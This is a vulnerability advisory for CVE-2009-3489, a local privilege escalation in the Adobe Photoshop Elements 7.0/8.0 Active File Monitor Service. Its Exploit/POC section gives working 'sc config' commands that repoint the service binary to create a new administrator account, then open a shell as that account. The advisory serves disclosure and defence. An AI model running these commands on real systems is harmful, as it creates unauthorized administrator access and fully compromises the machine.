Adobe Photoshop Elements Active File Monitor Service Local Privilege Escalation Vulnerability

BID:36542

Info

Adobe Photoshop Elements Active File Monitor Service Local Privilege Escalation Vulnerability

Bugtraq ID: 36542
Class: Access Validation Error
CVE: CVE-2009-3489
Remote: No
Local: Yes
Published: Sep 29 2009 12:00AM
Updated: Nov 12 2009 07:16PM
Credit: Nine:Situations:Group::bellick
Vulnerable: Adobe Photoshop Elements 8.0
Adobe Photoshop Elements 7.0
Not Vulnerable:

Discussion

Adobe Photoshop Elements Active File Monitor Service Local Privilege Escalation Vulnerability

Adobe Photoshop Elements is prone to a local privilege-escalation vulnerability because the application has insufficient protections in a security descriptor.

Attackers can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful exploits will completely compromise an affected computer.

Photoshop Elements versions 7.0 and 8.0 are vulnerable.

Exploit / POC

Adobe Photoshop Elements Active File Monitor Service Local Privilege Escalation Vulnerability

To exploit this issue, attackers require local, interactive access to an affected computer.

The following example commands are available:

sc stop "AdobeActiveFileMonitor8.0"
sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add"
sc start "AdobeActiveFileMonitor8.0"
runas /noprofile /user:%COMPUTERNAME%\adobe cmd

Solution / Fix

Adobe Photoshop Elements Active File Monitor Service Local Privilege Escalation Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

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